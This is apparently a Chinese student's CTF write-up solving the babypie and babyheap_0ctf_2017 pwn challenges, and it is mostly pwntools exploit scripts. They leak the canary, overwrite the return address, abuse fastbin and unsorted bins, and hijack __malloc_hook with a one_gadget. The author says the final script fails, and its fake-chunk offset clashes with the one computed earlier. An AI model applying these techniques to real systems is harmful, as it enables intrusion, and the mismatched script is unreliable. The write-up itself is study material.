1、linkctf_2018.7_babypie分析



有一个输入,64位开了NX,canary,pie,只能去看看代码了
这题有system和/bin/sh

接下来看看sub_960函数:
__int64 sub_960()
{
__int64 result; // rax@1
__int64 v1; // rcx@1
__int64 buf; // [sp+0h] [bp-30h]@1
__int64 v3; // [sp+8h] [bp-28h]@1
__int64 v4; // [sp+10h] [bp-20h]@1
__int64 v5; // [sp+18h] [bp-18h]@1
__int64 v6; // [sp+28h] [bp-8h]@1
v6 = *MK_FP(__FS__, 40LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
buf = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
puts("Input your Name:");
read(0, &buf, 0x30uLL);
printf("Hello %s:\n", &buf, buf, v3, v4, v5);//这里printf似乎有格式化字符串漏洞,我们试一试会回显什么东西
read(0, &buf, 0x60uLL);//这里会造成栈溢出
result = 0LL;
v1 = *MK_FP(__FS__, 40LL) ^ v6;
return result;
}
来调试一下,首先我们需要把canary搞定:
from pwn import *
context.log_level="debug"
#p=remote("node5.buuoj.cn",28242)
p=process("./babypie")
payload=b'aaaa'
p.recvuntil("Input your Name:")
p.sendline(payload)
gdb.attach(p)
p.interactive()

e8-c0=0x28,canary最后的00需要去掉所以再加0x1,接下来接收canary,注意在canary之前是Hello aaaaaaaa…
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",28946)
#p=process("./babypie")
payload=b'a'*(0x28+1)
p.recvuntil("Input your Name:")
p.send(payload)
p.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
canary=u64(p.recv(7).ljust(8,b'\x00'))
print(hex(canary))
#gdb.attach(p)
p.interactive()

接下来就是覆盖返回地址的问题了,小端序,而且ret和后门的地址就后两位不同,覆盖后两位就行,覆盖为\x42
2、linkctf_2018.7_babypie实操
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",28946)
#p=process("./babypie")
payload=b'a'*(0x28+1)
p.sendafter(b'Input your Name:\n',payload)
p.recv(6 + 40)
canary = u64(p.recv(8)) & (0xffffffffffffff00)
print(hex(canary))
payload = b'a' * 40 + p64(canary) + p64(0) + b'\x3e'
#gdb.attach(sh)
p.send(payload)
p.interactive()

终于整出来了,废了
3、babyheap_0ctf_2017分析


看起来是一个典型的堆题,菜单也比较明确,读读代码,换了个新的ida要更清晰一些了

上面是菜单
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70(a1, a2, a3);
while ( 1 )
{
sub_CF4();
switch ( sub_138C() )
{
case 1LL:
sub_D48(v4);
break;
case 2LL:
sub_E7F(v4);
break;
case 3LL:
sub_F50(v4);
break;
case 4LL:
sub_1051(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
main的话就是一个菜单选择,我们从选1开始分析也就是Allocate
void __fastcall sub_D48(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )//最多支持16个chunk
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
//可以发现下面其实对空间有限制
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
暂时还挺正常,接着看fill
__int64 __fastcall sub_E7F(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
//上面是搜索之前创建的chunk,下面就是真正写入的过程,如fill所言,没有溢出保护
if ( (int)result > 0 )
{
printf("Content: ");
return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
这里就应该有一个可利用的堆溢出漏洞,继续往下看free
__int64 __fastcall sub_F50(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )//越界检查
{
result = *(unsigned int *)(24LL * (int)result + a1);
//下面开始free
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
我看起来其实没什么问题,最后指针也置零了,但是kimi说没有检查是否已经被free,接下来看看dump
int __fastcall sub_1051(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(_DWORD *)(24LL * result + a1);
//下面就是实际的输出操作
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
return puts(byte_14F1);
}
}
return result;
}
这里的话直接用的是以前chunk直接记录的size,如果我们篡改了以前的size,执行dump时就可以泄露数据,目前来看就是泄露libc,利用的就是之前的堆溢出漏洞。
记得上次用过ustored bin attack,但是这道题got表不可改,只能改hook。跟着做一下这是让kimi提炼的4步:
1.制造一个 unsorted-bin chunk大小落在 small/large 范围(0x90 ~ 0x3f0 最稳)。
2.后面再垫一个正在使用的 chunk,防止和 top 合并。
3.free 它 → 进入 unsorted bin,此时 fd/bk 都指向 main_arena+xx。用已有的堆溢出/ UAF 改掉它的 bk让它指向你想改的地址 – 0x10
4.触发一次 malloc(大小同前)glibc 把这条伪链拆下来,执行 bck->fd = …,目标地址就被写成 libc 地址。
chunk1、2需要放入Fast Bin
chunk4,最终需要放入unsorted bin,需要满足“释放(free)的chunk大小不属于fast bin,并且该chunk不和top chunk紧邻”
chunk0用来修改1.2,chunk3用来改chunk4
4、babyheap_0ctf_2017实操
一步一步调试,首先是让chunk1.2进入fastbin
from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)
def allocate(size):
p.sendlineafter(b"Command: ",str(1))
p.sendlineafter(b"Size: ",str(size))
def fill(index,size,content):
p.sendlineafter(b"Command: ",str(2))
p.sendlineafter(b"Index: ",str(index))
p.sendlineafter(b"Size: ",str(size))
p.sendlineafter(b"Content: ",b'content')
def free(index):
p.sendlineafter(b"Command: ",str(3))
p.sendlineafter(b"Index: ",str(index))
def dump(index):
p.sendlineafter(b"Command: ",str(4))
p.sendlineafter(b"Index: ",str(index))
def exit():
p.sendlineafter(b"Command: ",str(5))
def tiaoshi():
gdb.attach(p)
pause()
allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4
free(1)
free(2)
tiaoshi()
p.interactive()

这里他给我们创建的时0x20的堆,很清楚的看到

我们free了两个chunk
好了接下来就是堆溢出修改fd
修改2号chunk使它指向4,并修改4为0x21,这样4就看上去被free掉了


我的调试出来前面会有一个很大的chunk,有点懵逼,应该是链接器和依赖的问题,其实之前我也没用过glibc-all-in-one和patchelf,今天学着用了一下,果然是神器
首先这道题是再ubuntu16的环境下,用的是libc-2.23.so,我们看看文件的信息

所以我们需要更换原来文件的依赖,使用glibc-all-in-one下载对应版本

然后./download 相应文件
最后用patchelf更换就好:


ldd查看一下

然后就可以进行调试了:


非常的正确,没有莫名其妙多分配一个chunk

现在就是要把chunk2的内容改为chunk4的,写入的位置是0x60278c969010,覆盖的是0x60278c969050,别忘了用fill来写入
在内存中的十六进制数是按照小端序进行排列,我们要覆盖的fd部分在覆盖前内存中的样子是:
\x20\xc0……\x60\x00\x00
而我们想要链接到chunk4上,只需要修改最低有效位(0x20)成0x80,用p8(0x80)
from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)
def allocate(size):
p.sendlineafter(b"Command: ",str(1))
p.sendlineafter(b"Size: ",str(size))
def fill(index,size,content):
p.sendlineafter(b"Command: ",str(2))
p.sendlineafter(b"Index: ",str(index))
p.sendlineafter(b"Size: ",str(size))
p.sendlineafter(b"Content: ",content)
def free(index):
p.sendlineafter(b"Command: ",str(3))
p.sendlineafter(b"Index: ",str(index))
def dump(index):
p.sendlineafter(b"Command: ",str(4))
p.sendlineafter(b"Index: ",str(index))
def exit():
p.sendlineafter(b"Command: ",str(5))
def tiaoshi():
gdb.attach(p)
pause()
allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4
free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
tiaoshi()
p.interactive()


fd已经改变了,现在还需要主要一个知识点,chunk4是没有被free的,而且已经存在于bins中,如果此时再申请一个chunk,就可以实现双指针,但是有一点,fastbin的大小相同的,所以也要把chunk4改为0x21,也是利用溢出通过chunk3来修改
from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)
def allocate(size):
p.sendlineafter(b"Command: ",str(1))
p.sendlineafter(b"Size: ",str(size))
def fill(index,size,content):
p.sendlineafter(b"Command: ",str(2))
p.sendlineafter(b"Index: ",str(index))
p.sendlineafter(b"Size: ",str(size))
p.sendlineafter(b"Content: ",content)
def free(index):
p.sendlineafter(b"Command: ",str(3))
p.sendlineafter(b"Index: ",str(index))
def dump(index):
p.sendlineafter(b"Command: ",str(4))
p.sendlineafter(b"Index: ",str(index))
def exit():
p.sendlineafter(b"Command: ",str(5))
def tiaoshi():
gdb.attach(p)
pause()
allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4
free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)
tiaoshi()
p.interactive()

回归正题,我们用的是unstoredbin attack,我们现在要free chunk4成为unstored bin
要让其进入Unsorted Bin需要满足两个条件:
1.free的chunk大小不属于fast bin的范围
2.该chunk不和top chunk紧邻
第一个可以改回0x91,第二个可以申请一个chunk5解决
from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def allocate(size):
p.sendlineafter(b"Command: ",str(1))
p.sendlineafter(b"Size: ",str(size))
def fill(index,size,content):
p.sendlineafter(b"Command: ",str(2))
p.sendlineafter(b"Index: ",str(index))
p.sendlineafter(b"Size: ",str(size))
p.sendlineafter(b"Content: ",content)
def free(index):
p.sendlineafter(b"Command: ",str(3))
p.sendlineafter(b"Index: ",str(index))
def dump(index):
p.sendlineafter(b"Command: ",str(4))
p.sendlineafter(b"Index: ",str(index))
def exit():
p.sendlineafter(b"Command: ",str(5))
def tiaoshi():
gdb.attach(p)
pause()
allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4
free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)
payload=p64(0)*3
payload+=p8(0x91)
fill(3,len(payload),payload)
allocate(0x80)
free(4)
tiaoshi()
p.interactive()
free前的准备:

free以后:

已经成功了,接下来就是libc基址的计算

这里有一个知识点:
计算libc基址:
● small bins, large bins, unsorted bin统一存放在malloc_state这个结构体中的一个数组中
● malloc_state属于main_arena,main_arena是一个全局变量,位于libc的数据段
因此,知道上fd指针/bk指针所指向的地址,那我们也就相当于知道了main_arena的基址(根据固定的偏移量),也就是知道了libc的基址(根据固定的偏移量)
fd与arena之间的偏移量:
动态调试中fd指向:0x7f35d67c4b78

但是现在就有一个很烦的问题,没有符号表,就看不到dbg计算的偏移,又去搜索
set debug-file-directory ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/.debug
但是最终还是调试不出来,救救孩子吧,好吧人机说fd在main_arena+88的位置,就相当于现在偏移是88,也就是0x58,接下来是main_arena与libc基址之间的偏移量计算。就跟着大佬做一下。
因为程序开了pie,所以我们需要在exp中接收一下当时的fd。
from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",26865)
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def allocate(size):
p.sendlineafter(b"Command: ",str(1))
p.sendlineafter(b"Size: ",str(size))
def fill(index,size,content):
p.sendlineafter(b"Command: ",str(2))
p.sendlineafter(b"Index: ",str(index))
p.sendlineafter(b"Size: ",str(size))
p.sendlineafter(b"Content: ",content)
def free(index):
p.sendlineafter(b"Command: ",str(3))
p.sendlineafter(b"Index: ",str(index))
def dump(index):
p.sendlineafter(b"Command: ",str(4))
p.sendlineafter(b"Index: ",str(index))
def exit():
p.sendlineafter(b"Command: ",str(5))
def tiaoshi():
gdb.attach(p)
pause()
allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4
free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)
payload=p64(0)*3
payload+=p8(0x91)
fill(3,len(payload),payload)
allocate(0x80)
free(4)
tiaoshi()
p.interactive()

投降了,原因应该是我们手里的 libc.so 是 strip 过的发行版,符号表里没有 main_arena 这个字符串,所以 libc.sym[‘main_arena’] 报错。
行吧,按照libc-2.23.so主流的偏移来手动计算:
off_unstoredbin=0x58
#off_arena=libc.symbols['main_arena']
off_arena=0x3c4b20
dump(2)
p.recvline(2)
leak=u64(p.recv(8))
print(hex(leak))
libc_base=leak-off_unstoredbin-off_arena
print(hex(libc_base))

ok啊孩子们,继续做吧,折腾了好久了
接下来就是目标:修改__malloc_hook为one_gadget的地址,利用House Of Spirit
简单的看看这个手段原理:
House of Spirit 是一种「伪造任意地址堆块 → 把它 free 进 fastbin/tcache → 再 malloc 拿回」的组合型堆利用技巧,核心目的是:
让 malloc() 把 chunk 分配到攻击者已控的任意内存(栈/BSS/堆全局区…),从而对该区域实现任意写。
一、前置条件(必须同时满足)
1.能溢出/篡改一个指针,使其指向攻击者可控区域(栈数组、全局数组、bss 等)。
2.在该区域能手工拼出合法的 chunk 头(size、next-chunk 头)。
3.存在 free(任意指针) 的路径,且大小落在 fastbin(0x20-0x80)或 tcache 范围。
4.后续还能 再次 malloc(同大小),把伪造块取回。
也就是我们还需要在fastbin中放入chunk,我们需要在__malloc_hook附近创建chunk,最后要实现任意地址写入,其实这里不太清楚,因为我们要在它的附近伪造一个chunk头,用来控制我们创建chunk的大小
glibc-all-in-one实在下载不了直接去
https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc
下载libc6-dbg_*.deb系列把,不然调试确实坐牢
调试一下或许更清晰,但是我的程序的ld-2.23.so挂载不上去了,所以这里没办法做了,继续吧,
from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
#p=remote("node5.buuoj.cn",28996)
elf=ELF("./babyheap_0ctf_2017")
libc=ELF("./libc-2.23.so")
def allocate(size):
p.sendlineafter(b"Command: ",str(1))
p.sendlineafter(b"Size: ",str(size))
def fill(index,size,content):
p.sendlineafter(b"Command: ",str(2))
p.sendlineafter(b"Index: ",str(index))
p.sendlineafter(b"Size: ",str(size))
p.sendlineafter(b"Content: ",content)
def free(index):
p.sendlineafter(b"Command: ",str(3))
p.sendlineafter(b"Index: ",str(index))
def dump(index):
p.sendlineafter(b"Command: ",str(4))
p.sendlineafter(b"Index: ",str(index))
def exit():
p.sendlineafter(b"Command: ",str(5))
def tiaoshi():
gdb.attach(p)
pause()
allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4
free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)
payload=p64(0)*3
payload+=p8(0x91)
fill(3,len(payload),payload)
allocate(0x80)
free(4)
tiaoshi()
p.interactive()
用这个然后:
x/30gx &__malloc_hook-20
这里给一下这位师傅的博客
https://www.cnblogs.com/youdiscovered1t/p/19109746
https://blog.csdn.net/qq_41696518/article/details/126677556
接下来伪造chunk的大小为0x70,当然博客中的精准定位是0x7a(0x70也可以)
然后我们调试找到这个chunk的地址:0x7a01d664eaed,计算与0x7a01d628a000之间的偏移为0x3c4aed
找one_gadget

我写的这个打不通
from pwn import *
context.log_level="debug"
#p=process("./babyheap_0ctf_2017")
p=remote("node5.buuoj.cn",28820)
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def allocate(size):
p.sendlineafter(b"Command: ",str(1))
p.sendlineafter(b"Size: ",str(size))
def fill(index,size,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)
def free(index):
p.sendlineafter(b"Command: ",str(3))
p.sendlineafter(b"Index: ",str(index))
def dump(index):
p.sendlineafter(b"Command: ",str(4))
p.sendlineafter(b"Index: ",str(index))
def exit():
p.sendlineafter(b"Command: ",str(5))
def tiaoshi():
gdb.attach(p)
pause()
allocate(0x10)#chunk0
allocate(0x10)#1
allocate(0x10)#2
allocate(0x10)#3
allocate(0x80)#4
free(1)
free(2)
payload=p64(0)*3
payload+=p64(0x21)
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3
payload+=p8(0x21)
fill(3,len(payload),payload)
allocate(0x10)
allocate(0x10)
payload=p64(0)*3
payload+=p8(0x91)
fill(3,len(payload),payload)
allocate(0x80)
free(4)
dump(2)
#tiaoshi()
off_unstoredbin=0x58
#off_arena=libc.symbols['main_arena']
off_arena=0x3c4b20
p.recvline(2)
leak=u64(p.recv(8))
print(hex(leak))
libc_base=leak-off_unstoredbin-off_arena
print(hex(libc_base))
allocate(0x60)
free(4)#fastbin
#fd
payload=p64(libc_base+0x3a4ead)
fill(2,len(payload),payload)
#fake chunk
allocate(0x60)
allocate(0x60)
payload=p8(0)*3
payload+=p64(0)*2
payload+=p64(libc_base+0x4526a)#one_gadget
fill(6,len(payload),payload)
allocate(225)
p.interactive()

做了好久,终于拿到flag了,TAT…










